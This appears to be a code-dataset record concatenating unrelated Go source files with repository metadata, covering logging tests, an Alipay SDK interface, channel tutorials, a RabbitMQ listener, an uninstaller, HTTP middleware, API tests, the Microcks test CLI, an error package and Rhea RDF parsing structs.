expectOutput { // This is what we wanted t.Fatalf("Got EOF when output was expected") } else { return } } t.Logf("Log output: <<<%s>>>", string(output)) if !strings.Contains(string(output), rs) { t.Error("Log output did not have message") } if !strings.Contains(string(output), level) { t.Error("Log output did not have expected level") } } // This must not have a % in it or else it will disrupt formatting var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/:_@$()!* ") // randomString returns a random 20-character string consisting of things you // might see in a log message. func randomString() string { r := make([]rune, 20) for i := range r { r[i] = letters[rand.Intn(len(letters))] } return string(r) }
true
7767aa990a66fa0dee29b1186d90816cd63cbd42
Go
reaburoa/alipaySDK
/alipay/request/request_interface.go
UTF-8
449
2.515625
3
[]
no_license
[]
no_license
package request import "encoding/json" type Requester interface { SetBizContent(data map[string]interface{}) GetBizContent() string GetApiMethod() string GetApiVersion() string GetNotifyUrl() string SetNotifyUrl(url string) } func JsonEncode(data map[string]interface{}) string { b, err := json.Marshal(data) if err != nil { panic("Json Encode Error With:" + err.Error()) } return string(b) }
true
bed157325fabfd4d53fec8d8e97d224d1ab67ca2
Go
Scoefield/GoLearn
/goroutine-channel/goroutine_with_channel.go
UTF-8
2,955
3.90625
4
[]
no_license
[]
no_license
package goroutine_channel /* 多线程运行速度明显比单线程快,测试对比结果: === RUN TestSerial sum = 7999999998000000000, spend time: 1.7382813s --- PASS: TestSerial (1.74s) === RUN TestParallel sum = 7999999998000000000, spend time: 1.1835937s--- PASS: TestParallel (1.18s) PASS ok _/D_/Do/GitCode/GoLearn/goroutine-channel 2.979s */ import ( "fmt" "time" ) // 单线程 func serial() { sum, count, start := 0, 0, time.Now() for count < 4e9 { sum += count count += 1 } end := time.Now() fmt.Printf("sum = %d, spend time: %s ", sum, end.Sub(start)) } //多线程性能明显提升 func parallel() { sum, count, start, ch := 0, 0, time.Now(), make(chan int, 4) for count < 4 { go func(count int) { value := 0 for i := count * 1e9; i < (count+1)*1e9; i++ { value += i } ch <- value }(count) count++ } for count > 0 { sum += <-ch count-- } end := time.Now() fmt.Printf("sum = %d, spend time: %s", sum, end.Sub(start)) } /********************** channel阻塞情况,及其解决方法 *********************/ // 阻塞死锁的情况 // 这里的运行结果会报错:fatal error: all goroutines are asleep - deadlock! func dealLock() { ch := make(chan int) ch <- 1 val := <-ch fmt.Println(val) } // 这里的运行结果为:1 不会报错,通过初试化channel时,让channel容量大于0,是异步非阻塞,解决了死锁问题 func chWithCap() { ch := make(chan int, 1) ch <- 1 val := <-ch fmt.Println(val) } /* 首先,管道的容量依然为0;但是,通过go关键字来创建一个协程,这这个单独的协程中就可以做好准备, 向管道中写入这个值,并且也不会阻塞主线程;在主线程中,消费者做好准备从管道中读取值; 在某个时刻,生产者和消费者都准备好了,进行通信,这就不会导致死锁了。 */ func chWithRoutine() { ch := make(chan int) go func() { ch <- 1 }() val := <-ch fmt.Println(val) } /********************** channel方向,close, for *********************/ /* 1、sender函数中,持续地往管道中写入int类型的消息,并且在i为5的时候调用close手动关闭了管道,并且跳出了循环。 这里需要注意的是,不能再向已经关闭的管道中写入值,因此如果没有上面的break,会触发panic 2、receiver函数中,使用for-range的形式从管道中读取值,在管道被关闭之后,会自动的结束循环 3、同时,我们还注意到,sender函数的形参类型是 chan<- int,receiver函数的形参类型是 <-chan int, 这代表着管道是单向的,分别只能向管道中写入消息、读取消息 */ func sendToCh(ch chan<- int) { for i := 0; i < 10; i++ { ch <- i if i == 5 { close(ch) break } } } func receiveCh(ch <-chan int) { for val := range ch { fmt.Println(val) } } func chMain() { ch := make(chan int) go sendToCh(ch) receiveCh(ch) }
true
fb5d03c93bc751160da0777fea9cdd99e1c86156
Go
alexis-aguirre/RabbitMQ-crash-course
/storage-service/queues/listener.go
UTF-8
637
2.6875
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package queues import ( "encoding/json" "fmt" "log" "github.com/alexis-aguirre/RabbitMQ-crash-course/storage/dto" ) func (qm *queueManager) ListenOnQueue() { queueConfig := globalConfig.QueueConfig log.Println("Listening on queue '" + queueConfig.QueueName + "'") messages, err := qm.channel.Consume(queueConfig.QueueName, "", false, false, false, false, nil) if err != nil { log.Fatal("Cannot consume from queue " + queueConfig.QueueName) } for message := range messages { obj := dto.ImageReport{} json.Unmarshal(message.Body, &obj) fmt.Println("Message Stored: " + fmt.Sprint(obj)) message.Ack(false) } }
true
d4a1a0f5db5e3c7a75ebac729e1ef06ac7e313fa
Go
warrensbox/hubapp
/lib/uninstall.go
UTF-8
1,928
2.921875
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package lib import ( "fmt" "log" "os" "os/user" "path/filepath" "strings" ) //Uninstall : Install the provided version in the argument func Uninstall(url string) string { /* get current user */ usr, errCurr := user.Current() if errCurr != nil { log.Fatal(errCurr) } slice := strings.Split(url, "/") app := slice[1] installPath = fmt.Sprintf(installPath, app) bin := fmt.Sprintf(binLocation, app) installVersion = fmt.Sprintf(installVersion, app) installFile = fmt.Sprintf(installFile, app) /* set installation location */ installLocation = usr.HomeDir + installPath /* set default binary path for app */ installedBinPath = bin /* find app binary location if app is already installed*/ cmd := NewCommand(app) next := cmd.Find() /* overrride installation default binary path if app is already installed */ /* find the last bin path */ for path := next(); len(path) > 0; path = next() { installedBinPath = path } /* check if selected version already downloaded */ //fileExist := CheckFileExist(installLocation + installVersion + appversion) filesExist := GetListOfFile(installLocation) /* if selected version already exist, */ if len(filesExist) > 0 { symlinkExist := CheckSymlink(installedBinPath) if symlinkExist { RemoveSymlink(installedBinPath) } return installLocation } return installLocation } //RemoveContents remove all files in directory func RemoveContents(dir string) error { fmt.Println("Attempting to remove installed files...") d, err := os.Open(dir) if err != nil { fmt.Printf("Cannot find directory %s\n", dir) return err } defer d.Close() names, err := d.Readdirnames(-1) if err != nil { fmt.Printf("Cannot remove directory %s\n", dir) return err } for _, name := range names { err = os.RemoveAll(filepath.Join(dir, name)) if err != nil { fmt.Printf("Cannot remove directory %s\n", dir) return err } } return nil }
true
b79d61c4cfc4a8a3e660f5870d69e350fb3d8d7f
Go
colindev/go-http-middleware
/if.go
UTF-8
720
3.703125
4
[]
no_license
[]
no_license
package middleware import "net/http" type IfMiddleware struct { Condition func(r *http.Request) bool IfTrue Middleware IfFalse Middleware } func (imw *IfMiddleware) Wrap(handler http.HandlerFunc) http.HandlerFunc { if imw.Condition == nil { panic("IfMiddleware miss Condition") } var trueHandler http.HandlerFunc if imw.IfTrue != nil { trueHandler = imw.IfTrue.Wrap(handler) } else { trueHandler = handler } var falseHandler http.HandlerFunc if imw.IfFalse != nil { falseHandler = imw.IfFalse.Wrap(handler) } else { falseHandler = handler } return func(w http.ResponseWriter, r *http.Request) { if imw.Condition(r) { trueHandler(w, r) } else { falseHandler(w, r) } } }
true
9596bb8b1b6f060f24acc6f369a1929ac0f2014e
Go
henrioseptiano/taptalk-diary
/main_test.go
UTF-8
4,036
2.609375
3
[ "Unlicense" ]
permissive
[ "Unlicense" ]
permissive
package main import ( "bytes" "encoding/json" "fmt" "log" "net/http" "os" "strconv" "testing" "github.com/gofiber/fiber/v2" "github.com/gofiber/fiber/v2/utils" "github.com/henrioseptiano/taptalk-diary/routes" "github.com/joho/godotenv" "gorm.io/driver/mysql" "gorm.io/gorm" ) func Setup() *fiber.App { err := godotenv.Load() if err != nil { log.Fatal("Error : Cannot Loading .env File") } dbUser := os.Getenv("DB_USERNAME") dbPassword := os.Getenv("DB_PASSWORD") dbHost := os.Getenv("DB_HOST") dbPort, _ := strconv.Atoi(os.Getenv("DB_PORT")) dbName := os.Getenv("DB_NAME") dsn := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8mb4&parseTime=True&loc=Local", dbUser, dbPassword, dbHost, dbPort, dbName, ) db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{}) if err != nil { log.Fatalln("Cannot Connect to Database") } app := fiber.New() routes.SwaggerRoutes(app) routes.UserRoutes(app, db) routes.DiaryRoutes(app, db) return app } func testRegister(t *testing.T) { app := Setup() registerPostBody := map[string]interface{}{ "birthday": "01-09-1991", "email": "[email protected]", "fullname": "heheheh", "password": "Revian123!", "username": "henrio45", } body, _ := json.Marshal(registerPostBody) req, _ := http.NewRequest("POST", "/api/v1/register", bytes.NewReader(body)) res, _ := app.Test(req) utils.AssertEqual(t, 200, res.StatusCode, "Status code") } func testLogin(t *testing.T) { app := Setup() loginPostBody := map[string]interface{}{ "deviceID": "windows3", "password": "revian123", "username": "henrio2", } body, _ := json.Marshal(loginPostBody) req, _ := http.NewRequest("POST", "/api/v1/login", bytes.NewReader(body)) res, _ := app.Test(req) utils.AssertEqual(t, 200, res.StatusCode, "Status code") } func testCreateDiaries(t *testing.T) { app := Setup() loginPostBody := map[string]interface{}{ "bodyText": "hi", "datePost": "08-08-2021", "title": "test2", } body, _ := json.Marshal(loginPostBody) req, _ := http.NewRequest("POST", "/api/v1/diary/create", bytes.NewReader(body)) req.Header.Set("Authorization", "Bearer YOUR_API_TOKEN") res, _ := app.Test(req) utils.AssertEqual(t, 200, res.StatusCode, "Status code") } func testUpdateDiaries(t *testing.T) { app := Setup() loginPostBody := map[string]interface{}{ "bodyText": "hi", "datePost": "08-08-2021", "title": "test2", } body, _ := json.Marshal(loginPostBody) req, _ := http.NewRequest("PUT", "/api/v1/diary/update/4", bytes.NewReader(body)) req.Header.Set("Authorization", "Bearer YOUR_API_TOKEN") res, _ := app.Test(req) utils.AssertEqual(t, 200, res.StatusCode, "Status code") } func testDeleteDiaries(t *testing.T) { app := Setup() req, _ := http.NewRequest("DELETE", "/api/v1/diary/delete/4", nil) req.Header.Set("Authorization", "Bearer YOUR_API_TOKEN") res, _ := app.Test(req) utils.AssertEqual(t, 200, res.StatusCode, "Status code") } func testListAllDiaries(t *testing.T) { app := Setup() req, _ := http.NewRequest("GET", "/api/v1/diary/listall", nil) q := req.URL.Query() q.Add("year", "2021") q.Add("quarter", "3") req.URL.RawQuery = q.Encode() req.Header.Set("Authorization", "Bearer YOUR_API_TOKEN") res, _ := app.Test(req) utils.AssertEqual(t, 200, res.StatusCode, "Status code") } func testGetDiariesByID(t *testing.T) { app := Setup() req, _ := http.NewRequest("GET", "/api/v1/diary/3", nil) req.Header.Set("Authorization", "Bearer YOUR_API_TOKEN") res, _ := app.Test(req) utils.AssertEqual(t, 200, res.StatusCode, "Status code") } func testGetCurrentDeviceID(t *testing.T) { app := Setup() req, _ := http.NewRequest("GET", "/api/v1/getcurrentdeviceid", nil) req.Header.Set("Authorization", "Bearer YOUR_API_TOKEN") res, _ := app.Test(req) utils.AssertEqual(t, 200, res.StatusCode, "Status code") } func TestRoutes(t *testing.T) { testRegister(t) testLogin(t) testCreateDiaries(t) testUpdateDiaries(t) testDeleteDiaries(t) testListAllDiaries(t) testGetDiariesByID(t) testGetCurrentDeviceID(t) }
true
5c7aec712ff5e7bc0e3da471e070ceb6aadfa055
Go
peterhellberg/gfx
/degrees.go
UTF-8
209
3.25
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package gfx import "math" const degToRad = math.Pi / 180 // Degrees of arc. type Degrees float64 // Radians convert degrees to radians. func (d Degrees) Radians() float64 { return float64(d) * degToRad }
true
8765e928e993b19a063a4e223874eb30ac45bf34
Go
microcks/microcks-cli
/cmd/test.go
UTF-8
6,727
2.5625
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
package cmd import ( "flag" "fmt" "os" "strconv" "strings" "time" "github.com/microcks/microcks-cli/pkg/config" "github.com/microcks/microcks-cli/pkg/connectors" ) var ( runnerChoices = map[string]bool{"HTTP": true, "SOAP_HTTP": true, "SOAP_UI": true, "POSTMAN": true, "OPEN_API_SCHEMA": true, "ASYNC_API_SCHEMA": true, "GRPC_PROTOBUF": true, "GRAPHQL_SCHEMA": true} timeUnitChoices = map[string]bool{"milli": true, "sec": true, "min": true} ) type testComamnd struct { } // NewTestCommand build a new TestCommand implementation func NewTestCommand() Command { return new(testComamnd) } // Execute implementation of testCommand structure func (c *testComamnd) Execute() { // Parse subcommand args first. if len(os.Args) < 4 { fmt.Println("test command require <apiName:apiVersion> <testEndpoint> <runner> args") os.Exit(1) } serviceRef := os.Args[2] testEndpoint := os.Args[3] runnerType := os.Args[4] // Validate presence and values of args. if &serviceRef == nil || strings.HasPrefix(serviceRef, "-") { fmt.Println("test command require <apiName:apiVersion> <testEndpoint> <runner> args") os.Exit(1) } if &testEndpoint == nil || strings.HasPrefix(testEndpoint, "-") { fmt.Println("test command require <apiName:apiVersion> <testEndpoint> <runner> args") os.Exit(1) } if &runnerType == nil || strings.HasPrefix(runnerType, "-") { fmt.Println("test command require <apiName:apiVersion> <testEndpoint> <runner> args") os.Exit(1) } if _, validChoice := runnerChoices[runnerType]; !validChoice { fmt.Println("<runner> should be one of: HTTP, SOAP, SOAP_UI, POSTMAN, OPEN_API_SCHEMA, ASYNC_API_SCHEMA, GRPC_PROTOBUF, GRAPHQL_SCHEMA") os.Exit(1) } // Then parse flags. testCmd := flag.NewFlagSet("test", flag.ExitOnError) var microcksURL string var keycloakURL string var keycloakClientID string var keycloakClientSecret string var waitFor string var secretName string var filteredOperations string var operationsHeaders string var insecureTLS bool var caCertPaths string var verbose bool testCmd.StringVar(&microcksURL, "microcksURL", "", "Microcks API URL") testCmd.StringVar(&keycloakClientID, "keycloakClientId", "", "Keycloak Realm Service Account ClientId") testCmd.StringVar(&keycloakClientSecret, "keycloakClientSecret", "", "Keycloak Realm Service Account ClientSecret") testCmd.StringVar(&waitFor, "waitFor", "5sec", "Time to wait for test to finish") testCmd.StringVar(&secretName, "secretName", "", "Secret to use for connecting test endpoint") testCmd.StringVar(&filteredOperations, "filteredOperations", "", "List of operations to launch a test for") testCmd.StringVar(&operationsHeaders, "operationsHeaders", "", "Override of operations headers as JSON string") testCmd.BoolVar(&insecureTLS, "insecure", false, "Whether to accept insecure HTTPS connection") testCmd.StringVar(&caCertPaths, "caCerts", "", "Comma separated paths of CRT files to add to Root CAs") testCmd.BoolVar(&verbose, "verbose", false, "Produce dumps of HTTP exchanges") testCmd.Parse(os.Args[5:]) // Validate presence and values of flags. if len(microcksURL) == 0 { fmt.Println("--microcksURL flag is mandatory. Check Usage.") os.Exit(1) } if len(keycloakClientID) == 0 { fmt.Println("--keycloakClientId flag is mandatory. Check Usage.") os.Exit(1) } if len(keycloakClientSecret) == 0 { fmt.Println("--keycloakClientSecret flag is mandatory. Check Usage.") os.Exit(1) } if &waitFor == nil || (!strings.HasSuffix(waitFor, "milli") && !strings.HasSuffix(waitFor, "sec") && !strings.HasSuffix(waitFor, "min")) { fmt.Println("--waitFor format is wrong. Applying default 5sec") waitFor = "5sec" } // Collect optional HTTPS transport flags. if insecureTLS { config.InsecureTLS = true } if len(caCertPaths) > 0 { config.CaCertPaths = caCertPaths } if verbose { config.Verbose = true } // Compute time to wait in milliseconds. var waitForMilliseconds int64 = 5000 if strings.HasSuffix(waitFor, "milli") { waitForMilliseconds, _ = strconv.ParseInt(waitFor[:len(waitFor)-5], 0, 64) } else if strings.HasSuffix(waitFor, "sec") { waitForMilliseconds, _ = strconv.ParseInt(waitFor[:len(waitFor)-3], 0, 64) waitForMilliseconds = waitForMilliseconds * 1000 } else if strings.HasSuffix(waitFor, "min") { waitForMilliseconds, _ = strconv.ParseInt(waitFor[:len(waitFor)-3], 0, 64) waitForMilliseconds = waitForMilliseconds * 60 * 1000 } // Now we seems to be good ... // First - retrieve the Keycloak URL from Microcks configuration. mc := connectors.NewMicrocksClient(microcksURL) keycloakURL, err := mc.GetKeycloakURL() if err != nil { fmt.Printf("Got error when invoking Microcks client retrieving config: %s", err) os.Exit(1) } var oauthToken string = "unauthentifed-token" if keycloakURL != "null" { // If Keycloak is enabled, retrieve an OAuth token using Keycloak Client. kc := connectors.NewKeycloakClient(keycloakURL, keycloakClientID, keycloakClientSecret) oauthToken, err = kc.ConnectAndGetToken() if err != nil { fmt.Printf("Got error when invoking Keycloack client: %s", err) os.Exit(1) } //fmt.Printf("Retrieve OAuthToken: %s", oauthToken) } // Then - launch the test on Microcks Server. mc.SetOAuthToken(oauthToken) var testResultID string testResultID, err = mc.CreateTestResult(serviceRef, testEndpoint, runnerType, secretName, waitForMilliseconds, filteredOperations, operationsHeaders) if err != nil { fmt.Printf("Got error when invoking Microcks client creating Test: %s", err) os.Exit(1) } //fmt.Printf("Retrieve TestResult ID: %s", testResultID) // Finally - wait before checking and loop for some time time.Sleep(1 * time.Second) // Add 10.000ms to wait time as it's now representing the server timeout. now := nowInMilliseconds() future := now + waitForMilliseconds + 10000 var success = false for nowInMilliseconds() < future { testResultSummary, err := mc.GetTestResult(testResultID) if err != nil { fmt.Printf("Got error when invoking Microcks client check TestResult: %s", err) os.Exit(1) } success = testResultSummary.Success inProgress := testResultSummary.InProgress fmt.Printf("MicrocksClient got status for test \"%s\" - success: %s, inProgress: %s \n", testResultID, fmt.Sprint(success), fmt.Sprint(inProgress)) if !inProgress { break } fmt.Println("MicrocksTester waiting for 2 seconds before checking again or exiting.") time.Sleep(2 * time.Second) } fmt.Printf("Full TestResult details are available here: %s/#/tests/%s \n", strings.Split(microcksURL, "/api")[0], testResultID) if !success { os.Exit(1) } } func nowInMilliseconds() int64 { return time.Now().UnixNano() / int64(time.Millisecond) }
true
c196303eb137a8381e3525788d22db257ee2d6a0
Go
kriskowal/bottle-world
/sim/tesselation.go
UTF-8
976
3.515625
4
[]
no_license
[]
no_license
package sim type Source interface { Eval2(x, y float64) float64 } func NewTesselation(source Source, width, height float64) Source { return &tesselation{ source: source, width: width, height: height, } } type tesselation struct { source Source width, height float64 } func (t *tesselation) Eval2(x, y float64) float64 { a := t.source.Eval2(float64(x), float64(y)) b := t.source.Eval2(float64(x-t.width), float64(y)) ab := a*(1.0-float64(x)/t.width) + b*(float64(x)/t.width) c := t.source.Eval2(float64(x), float64(y-t.height)) d := t.source.Eval2(float64(x-t.width), float64(y-t.height)) cd := c*(1.0-float64(x)/t.width) + d*(float64(x)/t.width) return ab*(1.0-float64(y)/height) + cd*float64(y)/height } func NewScale(source Source, s float64) Source { return &scale{source: source, scale: s} } type scale struct { source Source scale float64 } func (s *scale) Eval2(x, y float64) float64 { return s.source.Eval2(x*s.scale, y*s.scale) }
true
40a0563736fe8e14f117edc710be2b7bac280ce8
Go
tkmagesh/IBM-Go-May-2021-2
/09-interfaces/sum.go
UTF-8
1,329
3.75
4
[]
no_license
[]
no_license
package main import ( "fmt" "strconv" ) func main() { fmt.Println("Generic Sum fn") fmt.Println(sum(10, 20)) //=> 30 fmt.Println(sum(10, 20, 30, 40)) //=> 100 fmt.Println(sum(10)) //=> 10 fmt.Println(sum()) //=> 0 fmt.Println(sum(10, "20", 30, "40")) //=> 100 fmt.Println(sum(10, "20", 30, "40", "abc")) //=> 100 fmt.Println(sum(10, 20, []int{30, 40})) //=> 100 fmt.Println(sum(10, 20, []interface{}{30, 40, []int{10, 20}})) //=> 130 fmt.Println(sum(10, 20, []interface{}{30, 40, []interface{}{10, "20"}})) //=> 130 } func sum(nos ...interface{}) int { result := 0 for _, val := range nos { switch val.(type) { case int: result += val.(int) case string: if x, err := strconv.Atoi(val.(string)); err != nil { result += x } case []int: values := val.([]int) intValList := make([]interface{}, len(values)) for idx, x := range values { intValList[idx] = x } result += sum(intValList...) case []interface{}: result += sum(val.([]interface{})...) } } return result }
true
0a699c2cafa7c9ac69eb4344ef16d9df4b20a18f
Go
fwhezfwhez/errorx
/service-error.go
UTF-8
1,773
3.03125
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package errorx type ServiceError struct { Errcode int Errmsg string } func (se ServiceError) Error() string { return se.Errmsg } func (se ServiceError) Equal(dest ServiceError) bool { return se.Errmsg == dest.Errmsg && se.Errcode == dest.Errcode } func NewServiceError(errmsg string, errcode int) ServiceError { return ServiceError{ Errcode: errcode, Errmsg: errmsg, } } // IsServiceErr is used to handle service error. // Case below will be regarded as service error and return se,true func IsServiceErr(src error, dest ...error) (ServiceError, bool) { if len(dest) == 0 { se, ok := src.(ServiceError) if ok { return se, true } e, ok2 := src.(Error) if ok2 && e.isServiceErr == true { return ServiceError{ Errmsg: e.serviceErrmsg, Errcode: e.serviceErrcode, }, true } return ServiceError{}, false } for i, _ := range dest { if se, ok := isServiceErr(src, dest[i]); ok { return se, ok } } return ServiceError{}, false } func isServiceErr(src error, dest error) (ServiceError, bool) { if src == nil { return ServiceError{}, false } if dest == nil { return ServiceError{}, false } destS, ok := dest.(ServiceError) if src.Error() == dest.Error() && !ok { return NewServiceError(src.Error(), 0), true } if src.Error() == dest.Error() && ok { return destS, true } if !ok { if isBasicErr(dest) { return isServiceErr(src, NewServiceError(dest.Error(), 0)) } return ServiceError{}, false } switch v := src.(type) { case Error: if v.E.Error() == dest.Error() { return destS, true } return ServiceError{}, false case ServiceError: if v.Equal(destS) { return destS, true } return v, false case error: return ServiceError{}, false } return ServiceError{}, false }
true
f67a98bd54bb4720d5695f7f479a6842cf315187
Go
magejiCoder/gen
/internal/generator/gen.go
UTF-8
1,534
2.734375
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
package generator import ( "bytes" "errors" "fmt" "io/ioutil" "os" "path/filepath" "strings" text "text/template" "github.com/magejiCoder/gen/internal/template" ) type GenSet struct { SetPackage string SetName string SetType string } func NewGenSet(pkgname, setname, settype string) GenSet { return GenSet{ SetPackage: pkgname, SetName: setname, SetType: settype, } } var ErrOnlySupportGoGeneration error = errors.New("gen: only support generate go code") func (g GenSet) GenerateTo(dest string) error { ext := filepath.Ext(dest) if ext != ".go" { return ErrOnlySupportGoGeneration } testFileDest := strings.TrimSuffix(dest, ext) + "_test" + ext raw, err := template.LoadSetTemplate() if err != nil { return fmt.Errorf("load template: %w", err) } rawTest, err := template.LoadSetTestTemplate() if err != nil { return fmt.Errorf("load test template: %w", err) } genmap := map[string][]byte{ dest: raw, testFileDest: rawTest, } for dest, raw := range genmap { if err := g.gen(raw, dest); err != nil { return fmt.Errorf("gen: %w", err) } } return nil } func (g GenSet) gen(raw []byte, dest string) error { w := bytes.NewBuffer(raw) t, err := text.New("SetTemplate").Parse(w.String()) if err != nil { return fmt.Errorf("parsing template: %w", err) } newBuffer := bytes.NewBuffer(nil) if err := t.Execute(newBuffer, g); err != nil { return fmt.Errorf("execute template: %w", err) } return ioutil.WriteFile(dest, newBuffer.Bytes(), os.ModePerm) }
true
5ebed77542a8fa50c2b9e25254bfed4adcafb818
Go
golangf/extra-boolean
/not_test.go
UTF-8
156
2.671875
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package boolean import "fmt" func ExampleNot() { fmt.Println(Not(false)) // true fmt.Println(Not(true)) // false // Output: // true // false }
true
18b6c0301b43850b877d09d7d491c004cc026ace
Go
tarekbadrshalaan/codewars
/6-kyu/21-ByState/main_test.go
UTF-8
3,620
2.96875
3
[]
no_license
[]
no_license
package main import ( "reflect" "testing" ) func TestByState(t *testing.T) { var tt = []struct { input string expected string }{ {`John Daggett, 341 King Road, Plymouth MA Alice Ford, 22 East Broadway, Richmond VA Sal Carpenter, 73 6th Street, Boston MA`, "Massachusetts\n..... John Daggett 341 King Road Plymouth Massachusetts\n..... Sal Carpenter 73 6th Street Boston Massachusetts\n Virginia\n..... Alice Ford 22 East Broadway Richmond Virginia"}, { `John Daggett, 341 King Road, Plymouth MA Alice Ford, 22 East Broadway, Richmond VA Orville Thomas, 11345 Oak Bridge Road, Tulsa OK Terry Kalkas, 402 Lans Road, Beaver Falls PA Eric Adams, 20 Post Road, Sudbury MA Hubert Sims, 328A Brook Road, Roanoke VA Amy Wilde, 334 Bayshore Pkwy, Mountain View CA Sal Carpenter, 73 6th Street, Boston MA`, "California\n..... Amy Wilde 334 Bayshore Pkwy Mountain View California\n Massachusetts\n..... Eric Adams 20 Post Road Sudbury Massachusetts\n..... John Daggett 341 King Road Plymouth Massachusetts\n..... Sal Carpenter 73 6th Street Boston Massachusetts\n Oklahoma\n..... Orville Thomas 11345 Oak Bridge Road Tulsa Oklahoma\n Pennsylvania\n..... Terry Kalkas 402 Lans Road Beaver Falls Pennsylvania\n Virginia\n..... Alice Ford 22 East Broadway Richmond Virginia\n..... Hubert Sims 328A Brook Road Roanoke Virginia", }, } for _, tc := range tt { t.Run("", func(t *testing.T) { res := ByState(tc.input) if !reflect.DeepEqual(res, tc.expected) { t.Errorf("expected\n%v\ngot\n%v", tc.expected, res) } }) } for _, tc := range tt { t.Run("B", func(t *testing.T) { res := ByStateB(tc.input) if !reflect.DeepEqual(res, tc.expected) { t.Errorf("expected\n%v\ngot\n%v", tc.expected, res) } }) } for _, tc := range tt { t.Run("C", func(t *testing.T) { res := ByStateC(tc.input) if !reflect.DeepEqual(res, tc.expected) { t.Errorf("expected\n%v\ngot\n%v", tc.expected, res) } }) } } //!+bench // go test -v -bench=. // go test -bench . -benchmem func BenchmarkByState(b *testing.B) { input := `John Daggett, 341 King Road, Plymouth MA Alice Ford, 22 East Broadway, Richmond VA Orville Thomas, 11345 Oak Bridge Road, Tulsa OK Terry Kalkas, 402 Lans Road, Beaver Falls PA Eric Adams, 20 Post Road, Sudbury MA Hubert Sims, 328A Brook Road, Roanoke VA Amy Wilde, 334 Bayshore Pkwy, Mountain View CA Sal Carpenter, 73 6th Street, Boston MA` for index := 0; index < b.N; index++ { ByState(input) } } func BenchmarkByStateB(b *testing.B) { input := `John Daggett, 341 King Road, Plymouth MA Alice Ford, 22 East Broadway, Richmond VA Orville Thomas, 11345 Oak Bridge Road, Tulsa OK Terry Kalkas, 402 Lans Road, Beaver Falls PA Eric Adams, 20 Post Road, Sudbury MA Hubert Sims, 328A Brook Road, Roanoke VA Amy Wilde, 334 Bayshore Pkwy, Mountain View CA Sal Carpenter, 73 6th Street, Boston MA` for index := 0; index < b.N; index++ { ByStateB(input) } } func BenchmarkByStateC(b *testing.B) { input := `John Daggett, 341 King Road, Plymouth MA Alice Ford, 22 East Broadway, Richmond VA Orville Thomas, 11345 Oak Bridge Road, Tulsa OK Terry Kalkas, 402 Lans Road, Beaver Falls PA Eric Adams, 20 Post Road, Sudbury MA Hubert Sims, 328A Brook Road, Roanoke VA Amy Wilde, 334 Bayshore Pkwy, Mountain View CA Sal Carpenter, 73 6th Street, Boston MA` for index := 0; index < b.N; index++ { ByStateC(input) } } /* $ go test -bench . -benchmem goos: linux goarch: amd64 BenchmarkByState-24 100000 17180 ns/op 5301 B/op 80 allocs/op BenchmarkByStateB-24 100000 19694 ns/op 5317 B/op 70 allocs/op BenchmarkByStateC-24 30000 59395 ns/op 46736 B/op 63 allocs/op */
true
76ab3b69c0b341dc7d16a9ffac5b84c49caa9de8
Go
isaacguerreir/allbase
/rhea/rdf.go
UTF-8
7,609
2.75
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package rhea import ( "encoding/xml" ) /****************************************************************************** Lower level structs These structs operate at the lowest level to parse the Rhea Rdf database dump into structs that Golang can understand. Getting all of Rhea from Rdf->Golang is quite verbose, and so most of the time you should not use these structs unless you know what you are doing and it cannot be accomplished with higher level structs. ******************************************************************************/ // Rdf is the RDF XML representation of the Rhea database. type Rdf struct { XMLName xml.Name `xml:"RDF"` Descriptions []Description `xml:"Description"` } // Description is the XML representation of an object in the Rhea database. type Description struct { // Reaction XMLName xml.Name `xml:"Description"` About string `xml:"about,attr"` ID int `xml:"id"` Accession string `xml:"accession"` // Accession refers to a Rhea accession number Equation string `xml:"equation"` HTMLEquation string `xml:"htmlEquation"` IsChemicallyBalanced bool `xml:"isChemicallyBalanced"` IsTransport bool `xml:"isTransport"` Citations []Citation `xml:"citation"` Substrates []Substrate `xml:"substrates"` Products []Product `xml:"products"` SubstrateOrProducts []SubstrateOrProduct `xml:"substratesOrProducts"` Subclass []Subclass `xml:"subClassOf"` Comment string `xml:"comment"` EC EC `xml:"ec"` Status Status `xml:"status"` Compound CompoundXML `xml:"compound"` // ReactionSide / Reaction Participant BidirectionalReactions []BidirectionalReaction `xml:"bidirectionalReaction"` DirectionalReactions []DirectionalReaction `xml:"directionalReaction"` Side Side `xml:"side"` SeeAlsos SeeAlso `xml:"seeAlso"` TransformableTo TransformableTo `xml:"transformableTo"` CuratedOrder int `xml:"curatedOrder"` Contains Contains `xml:"contains"` // ContainsX contains all other name-attribute pairs, with names like "contains1" in mind ContainsX []ContainsX `xml:",any"` // Small Molecule tags Name string `xml:"name"` HTMLName string `xml:"htmlName"` Formula string `xml:"formula"` Charge string `xml:"charge"` ChEBI ChEBIXML `xml:"chebi"` // Generic Compound ReactivePartXML ReactivePartXML `xml:"reactivePart"` // ReactivePart Position string `xml:"position"` // Polymer UnderlyingChEBI UnderlyingChEBI `xml:"underlyingChEBI"` PolymerizationIndex string `xml:"polymerizationIndex"` // Transport Location Location `xml:"location"` } // CitationStrings gives a list of citation strings from a description. func (d *Description) CitationStrings() []string { var output []string for _, x := range d.Citations { output = append(output, x.Resource) } return output } // SubstrateAccessionIDs gives a list of substrate accessions from a description. func (d *Description) SubstrateAccessionIDs() []string { var output []string for _, x := range d.Substrates { output = append(output, x.Resource) } return output } // ProductAccessionIDs gives a list of product accessions from a description. func (d *Description) ProductAccessionIDs() []string { var output []string for _, x := range d.Products { output = append(output, x.Resource) } return output } // SubstrateOrProductAccessionIDs gives a list of substrateOrProduct accessions from a description. func (d *Description) SubstrateOrProductAccessionIDs() []string { var output []string for _, x := range d.SubstrateOrProducts { output = append(output, x.Resource) } return output } // Citation is an XML representation of a citation of a description. type Citation struct { XMLName xml.Name `xml:"citation"` Resource string `xml:"resource,attr"` } // Substrate is an XML representation of a substrate. type Substrate struct { XMLName xml.Name `xml:"substrates"` Resource string `xml:"resource,attr"` } // Product is an XML representation of a product. type Product struct { XMLName 